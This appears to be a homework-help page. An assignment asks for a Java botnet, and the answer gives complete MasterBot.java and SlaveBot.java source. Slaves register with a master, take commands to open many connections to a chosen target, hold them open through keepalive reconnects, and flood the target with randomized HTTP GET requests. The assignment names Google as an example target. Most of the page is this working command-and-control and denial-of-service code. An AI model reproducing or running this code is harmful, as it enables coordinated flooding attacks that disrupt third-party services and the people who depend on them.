Write Bot Master (MasterBot.java) and provide the code for the slaves (SlaveBot.
ID: 3732504 • Letter: W
Question
Write Bot Master (MasterBot.java) and provide the code for the slaves (SlaveBot.java) to be commanded by the Bot Master. The master, when started, will present a command line interface to the user like that provided by the shell in unix (i.e. present prompt ‘>’). The following commands are to be supported: (DO NOT INCLUDE THE HYPEN IN YOUR COMMANFD SYNTAX, ONLY THE COMMAND: i.e. list) 1.-connect (IPAddressOrHostNameOfYourSlave|all) (TargetHostName|IPAddress) TargetPortNumber [NumberOfConnections: 1 if not specified] [keepalive] When the keepalive option is given, your client should select that socket option while creating the related connection. 2.- connect (IPAddressOrHostNameOfYourSlave|all) (TargetHostName|IPAddress) TargetPortNumber [NumberOfConnections: 1 if not specified] [url=path-to-be-provided-to-web-server] As an example, if you select to attack the Google search engine you will use: url=/#q= The slave will generate a HTTP request equivalent to: https://www.google.com/#q=YourRandomString Your client must also clean up data provided by the server response. The length of the string being added to the should also be generated at random between 1 char and 10 chars.
Explanation / Answer
MasterBot.java
import java.net.*;
import java.io.*;
import java.lang.*;
//import java.lang.StringUtils.*;
class Listener implements Runnable //Class to connect to Host Multithreaded
{
private int PortNo;
private Thread t;
private String threadName = "listener thread";
Listener(int Port)
{
PortNo = Port;
threadName = "listener thread";
}
public void run()
{
try(ServerSocket master = new ServerSocket(PortNo);)
{
while(true)
{
try(Socket slave = master.accept(); //assign incoming slave connection to a new socket
BufferedReader in = new BufferedReader(new InputStreamReader(slave.getInputStream())); //create buffer that reads data coming in from new socket
FileWriter fw = new FileWriter("masterData.txt",true);) //open file to append write the incoming data
{
String line;//weird error, won't let me initialise as while(String Line =...)
while((line = in.readLine())!=null )
{
String[] split = line.split("\s+");
fw.write(line);//appends the string to the file
fw.write(" ");
fw.close();
}
slave.close(); //job done for this slave, close socket
}
catch(IOException ioe)
{
System.exit(-1);
}
}
}catch(IOException ioe)
{ System.exit(-1);}
}
public void start()
{
if (t==null)
{
t = new Thread(this,threadName);
t.start();
}
}//end of start
}
public class MasterBot
{
//end of Listener(int)
private static void listSlaves() //Displays the slave data
{
try (BufferedReader br = new BufferedReader(new FileReader("masterData.txt")))
{
String line;
System.out.println("Name IP Port No RegDate&Time");
while ((line = br.readLine()) != null)
{
String[] split = line.split("\s+");//split the data read by spaces
System.out.println(split[0] + " " + split[1] + " "+split[2] + " "+split[3]);
}
br.close();
}
catch(IOException ioe)
{
System.exit(-1);
}
}//end of listSlaves()
//sends details to slave on connection to make
private static void connectCall(String IP, String Host, String PNo, String n, String feature)
{
try(BufferedReader br = new BufferedReader(new FileReader("masterData.txt"));)
{
//loop over all slaves on the DB!
String line;//error persists, syntax spec?
while ((line = br.readLine()) != null)
{
String[] split = line.split("\s+");
if (( split[1].equals(IP))||(split[0].equals(IP))||"all".equals(IP))
{
int PortNo = Integer.parseInt(split[2]); //take port number
try
{ //System.out.println(split[1] +" " + PortNo);
Socket slave = new Socket(split[1], PortNo);
//create socket for slave
PrintWriter pout = new PrintWriter(slave.getOutputStream(),true); //writing object and output stream creation
pout.println("-c " + Host + " " + PNo +" " + n + ' ' + feature);//command is passed as string
}
catch(IOException ioe)
{//System.out.println(ioe.getMessage());
}
}
}
br.close();
}
catch(IOException ioe)
{//do nothing
System.err.println("Unexpected error 4: " + ioe.getMessage());
}
}//end of connectCall
private static void disconnectCall(String IP, String Target, String PNo)
{
try(BufferedReader br = new BufferedReader(new FileReader("masterData.txt"));)
{
//loop over all slaves on the DB!
String line;//error persists, syntax spec?
while ((line = br.readLine()) != null)
{
String[] split = line.split("\s+");
if (( split[1].equals(IP))||(split[0].equals(IP))||"all".equals(IP))
{
int PortNo = Integer.parseInt(split[2]); //take port number
try
{ //System.out.println(split[1] +" " + PortNo);
Socket slave = new Socket(split[1], PortNo);
//create socket for slave
PrintWriter pout = new PrintWriter(slave.getOutputStream(),true); //writing object and output stream creation
pout.println("-d " + Target + " " + PNo );//command is passed as string
}
catch(IOException ioe)
{//System.out.println(ioe.getMessage());
} // do nothing
}
}
br.close();
}
catch(IOException ioe)
{//do nothing
System.exit(-1);
}
}
//end of disconnectCall
public static void main(String[] args)
{
while (true)
{
switch (args[0]) {
//master listening for slaves registering their names,IPs and PortNos
case "-p":
case "p":
int mPortNo = Integer.parseInt(args[1]);
Listener listen = new Listener(mPortNo);
listen.start();
break;
//list all the slave details
case "list":
case "-list":
listSlaves();
break;
//ask a slave(or all) to connect to host n number of times/1 time
case "connect":
case "-connect":
switch (args.length) {
//no number of connections or KeepAlive or url
case 4:
connectCall(args[1],args[2],args[3],"1","no"); //if number of connections not specified, make it 1
break;
//in this case user can either give number of connections, or KeepAlive or the url
case 5:
if ("keepalive".equals(args[4]))
connectCall(args[1],args[2],args[3],"1","yes");
else if (args[4].contains ("url="))
{
String url = args[4].replace("url=","");
connectCall(args[1],args[2],args[3],"1",url);
}
else
connectCall(args[1],args[2],args[3],args[4],"no");
break;
//there surely is number of connection, and one of url or keepalive
case 6:
if ("keepalive".equals(args[5]))
connectCall(args[1],args[2],args[3],args[4],"yes");
else if (args[5].contains ("url="))
{
String url = args[5].replace("url=","");
connectCall(args[1],args[2],args[3],args[4],url);
}
break;
default:
break;
}
break;
//ask particular slave(or all) to disconnect from a host, established through portNo(or all connections)
case "disconnect":
case "-disconnect":
//arguements - SlaveIP|all,HostIP,HostPort|all
if(args.length!=4)
;
else
disconnectCall(args[1],args[2],args[3]);
break;
case "exit":
case "-exit":
System.exit(0);
break;
default:
break;
}
try {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String accStr;
System.out.printf(">");
accStr = br.readLine();
args = accStr.split("\s+");
}
catch(IOException ioe)
{ System.err.println("Unexpected error in reading input 7:" + ioe.getMessage());
System.exit(0);
}
}
}
}
SlaveBot.java
import java.net.*;
import java.io.*;
import java.lang.*;
import java.util.*;
import java.text.SimpleDateFormat;
class Connect implements Runnable //Class to connect to Host Multithreaded
{
public static String disconnect_IP = " ";
public static String disconnect_Port = "0";
private Thread t;
private String threadName;
public String HostIP;
public String Feature;
public Integer HostPort;
Dictionary dict = new Hashtable();
int i = 0;
private final String USER_AGENT = "Mozilla/5.0";
/*public void build_dictionary()
{
if (i == 0)
{
dict.put(1,"apple");
dict.put(2, "elephant");
dict.put(3,"KNN Algorithm");
dict.put(4, "Markov");
dict.put(5, "hidden Markov");
dict.put(6, "classifier");
dict.put(7,"MLP");
dict.put(8,"regression");
dict.put(9,"linearRegression");
dict.put(10,"logisticreg");
dict.put(11,"preamble");
dict.put(12,"Melania");
dict.put(13,"Immigrants");
dict.put(14, "Economy");
dict.put(15, "Arizona");
dict.put(16,"fate");
dict.put(17,"classifier");
dict.put(18,"K-Means");
dict.put(19,"SVM");
dict.put(20,"probably");
dict.put(21,"Rotational");
dict.put(22,"geophysics");
dict.put(23,"OCD");
}
}*/
Connect()
{
threadName = "Thread";
HostIP ="127.0.0.1";
HostPort = 6000;
disconnect_IP = " ";
disconnect_Port = "0";
i = 1;
//this.build_dictionary();
}
Connect(int n, String IP, String PNo, String feature)
{
i =1;
threadName ="Thread_"+Integer.toString(n);
HostIP = IP;
HostPort = Integer.parseInt(PNo);
disconnect_IP = " ";
disconnect_Port = "0";
Feature = feature;
//this.build_dictionary();
}//end of constructor
public static void stopper(String IP, String Port)
{
disconnect_IP = IP;
disconnect_Port = Port;
for(int i =0;i<2000;i++); //for synchronisation - essential
}
private void sendGet(String url) throws Exception {
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
// optional default is GET
con.setRequestMethod("GET");
//add request header
con.setRequestProperty("User-Agent", USER_AGENT);
int responseCode = con.getResponseCode();
//System.out.println(" Sending 'GET' request to URL : " + url); //Debug
//System.out.println("Response Code : " + responseCode);//Debug
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
//print result
//System.out.println(response.toString()); //Debug
}
public void run()
{
String l_IP = HostIP;
Integer l_Port = HostPort;
String thread_name = threadName;
String feature = Feature;
try
{
InetAddress address = null;
try {
address = InetAddress.getByName(l_IP);
} catch (UnknownHostException e) {//ignore error
}
Socket sock;
try
{ sock = new Socket(address,l_Port); }
catch(IOException ioe)
{
sock = new Socket(l_IP,l_Port);
}
//System.out.println("Connected to "+ l_IP + " at "+ l_Port);//new connection intimation //Debug
boolean stay = true;
int l1 = 0, l2 = 0;
String disconnect_IP1 = disconnect_IP; //avoid class objects in thread - will keep changing, problem!
String disconnect_Port1 = disconnect_Port;
while(stay) //keeps the socket open till disconnect != your IP
{
l1++;
disconnect_IP1 = disconnect_IP; //avoid class objects in thread - will keep changing, problem!
disconnect_Port1 = disconnect_Port;
InetAddress dis_add = null;
Integer dis_port;
try {
dis_add = InetAddress.getByName(disconnect_IP1);
} catch (UnknownHostException e) {//ignore error
}
if ("all".equals(disconnect_Port1))
dis_port = l_Port;
else
dis_port = Integer.parseInt(disconnect_Port1);
stay = !(((address == dis_add)||("all".equals(disconnect_IP1)))&&(dis_port == l_Port));
if("yes".equals(feature)) //keepAlive start
{
try
{Thread.sleep(200);}
catch(InterruptedException ie)
{}
if (l1 == 70)
{l1 =0;
sock.close();
Connect connection = new Connect(99,l_IP,Integer.toString(l_Port),feature);
connection.start(); //open up a new connection in a new thread
Connect.stopper(disconnect_IP1,disconnect_Port1); //set other functionalities back to old state
stay = false; //close this thread
//System.out.println("reconnected"); //Debug
}
}// remove the older reconnect sequence
else if(!"no".equals(feature))//in case of url, send the url
{
try
{Thread.sleep(200);}
catch(InterruptedException ie)
{}
Random rand = new Random();
int len = rand.nextInt(10)+1;
String chh;
chh = "";
for(int j = 0; j<len; j++)
{
int ch = rand.nextInt(26)+97;
chh += Character.toString((char)(int)ch);
}
String url = "https://"+l_IP+feature+chh;
try
{
sendGet(url);
}catch(Exception ie)
{}
}
}//if disconnect IP and Port are not the same as current thread's local IP and Port, keep going
sock.close();
//System.out.println("!! Disconnected from "+ l_IP); //Debug
}
catch(IOException ex)
{
System.exit(-1);// Do nothing
}
}//end of run
public void start()
{
if (t==null)
{
t = new Thread(this,threadName);
t.start();
}
}//end of start
}
//end of Connect class
public class SlaveBot
{
public static int numberOfConnections;
public static String[] IP = new String[100];
public static String[] Port = new String[100];
public static int[] k = new int[100];
public static Integer index = new Integer(0);
public static void connectcall(String HostIP, String HostPort, String n, String feature)
{
Connect.stopper(" ","0");
int N = Integer.parseInt(n);
int j = 0;
for(j =0; j<index+1;j++)
{
if (((IP[j]==HostIP)||(IP[j]==null))&&((Port[j] == HostPort)||(HostPort == "all")||(Port[j]==null)))
{
break;
}
}
for (int i = 0; i< N; i++)
{
numberOfConnections++;
Connect connection = new Connect(numberOfConnections,HostIP,HostPort,feature);
connection.start();
k[j] = k[j]+1;
}
if(IP[j]== null)
index++;
IP[j] = HostIP;
Port[j] = HostPort;
}// connectioncall ends
public static void disconnectcall(String TargetIP, String TargetPort)
{
Connect.stopper(" ","0");
Connect.stopper(TargetIP, TargetPort); //set disconnect parameters
int j =0;
for(j =0; j<index+1;j++)
{
if ((IP[j]==TargetIP)||(IP[j]==null)&&(Port[j] == TargetPort)||(TargetPort == "all")||(Port[j]==null))
{
break;
}
}
k[j] = 0;
//System.out.println("disconnect_call");
}
public static void register(String[] args, int PortNo)
{
try //register with master
{
InetAddress address = InetAddress.getLocalHost();
String hostIP = address.getHostAddress();
String hostName = address.getHostName();
Socket master = new Socket(args[1],Integer.parseInt(args[3]));
PrintWriter pout = new PrintWriter(master.getOutputStream(),true);
String timeStamp = new SimpleDateFormat("yyyyMMdd").format(Calendar.getInstance().getTime());
pout.println(hostName + " " + hostIP + " " + Integer.toString(PortNo)+" " + timeStamp);
master.close();
}
catch(IOException ioe)
{System.exit(-1);}
}
public static void main(String[] args)
{
if("-h".equals(args[0])) //check if starts with -h|h if not exit at else
{
if (args.length != 4) //check if -h master IP -p portNo is given
{
System.exit(-1);
}
int PortNo;
Random rand = new Random();//generate a port number for slave first
PortNo = rand.nextInt((65535 - 49152) + 1) + 49152;
register(args,PortNo);//register the port number with Master - risky as port might not connect but after try wasn't work
try( ServerSocket slave = new ServerSocket(PortNo);)
{
while(true)
{
//listen for connections from master
Socket Master = slave.accept(); //shifting this out made listening possible - reason?
try
{
InputStream in = Master.getInputStream();//create an input stream to listen into // create object to get input through socket
BufferedReader bin = new BufferedReader(new InputStreamReader(in)); //keeps storing input until master closes the connection
//no PrintWriter since it restricts size
String line = bin.readLine();
//System.out.println(line); //Debug
String[] split = line.split("\s+");
switch (split[0]) {//decode message passed and call appropriate functions
case "-c":
connectcall(split[1],split[2],split[3], split[4]);
break;
case "-d":
disconnectcall(split[1],split[2]);
break;
}
}
catch(IOException ioe)
{ System.exit(-1);}
Master.close();
}
}
catch (IOException ex)
{
System.exit(-1);
}
}
else //if it doesn't start with -h|h, dont bother to listen
{
System.exit(-1);
}
}
}
give me rating
Related Questions
drjack9650@gmail.com
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.